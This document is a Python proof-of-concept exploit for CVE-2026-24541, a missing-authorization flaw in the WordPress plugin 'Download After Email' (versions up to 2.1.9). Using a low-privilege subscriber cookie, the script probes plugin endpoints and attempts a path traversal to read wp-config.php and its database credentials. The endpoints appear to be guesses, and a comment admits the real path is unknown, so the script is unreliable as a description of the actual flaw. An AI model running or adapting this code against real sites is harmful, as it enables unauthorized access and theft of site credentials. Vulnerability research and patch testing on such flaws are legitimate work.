CVE-2026-24541

# CVE-2026-24541 PoC - Missing Authorization in Download After Email # Affected: Download After Email Plugin <= 2.1.9 import requests import sys TARGET_URL = "http://target-wordpress-site.com" # Assume attacker has low-privilege account (subscriber role) ATTACKER_COOKIE = "wordpress_logged_in_cookie_here" def exploit_missing_auth(): """ Exploit Missing Authorization vulnerability in Download After Email plugin. This PoC demonstrates how a low-privilege user can access admin functions. """ headers = { "Cookie": ATTACKER_COOKIE, "Content-Type": "application/x-www-form-urlencoded" } # Target the plugin's download endpoint # Replace ENDPOINT_PATH with actual vulnerable path discovered endpoints = [ f"{TARGET_URL}/wp-admin/admin-ajax.php", f"{TARGET_URL}/wp-json/download-after-email/v1/download", f"{TARGET_URL}/?action=dae_download&file=../../wp-config.php" ] print("[*] Testing CVE-2026-24541 - Missing Authorization in Download After Email") print("[*] Target: Download After Email Plugin <= 2.1.9") print("[*] Attacker privileges: Low (Subscriber)") for endpoint in endpoints: try: # Attempt to access admin-only functionality response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: # Check if sensitive data is exposed if "wp-config.php" in response.text or "DB_NAME" in response.text: print(f"[!] VULNERABLE: {endpoint}") print(f"[!] Exposed sensitive configuration data") return True elif "success" in response.text.lower() or "download" in response.text.lower(): print(f"[!] POTENTIALLY VULNERABLE: {endpoint}") print(f"[*] Response indicates unauthorized access succeeded") return True except requests.RequestException as e: print(f"[-] Error testing {endpoint}: {e}") print("[*] Test completed") return False def check_plugin_version(): """ Check if target is running vulnerable version of the plugin. """ url = f"{TARGET_URL}/wp-content/plugins/download-after-email/readme.txt" try: response = requests.get(url, timeout=10) if response.status_code == 200 and "2.1.9" in response.text: print("[!] Target is running version 2.1.9 (vulnerable)") return True except: pass return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-24541 Exploitation Test") print("Missing Authorization - Download After Email Plugin") print("=" * 60) check_plugin_version() exploit_missing_auth()

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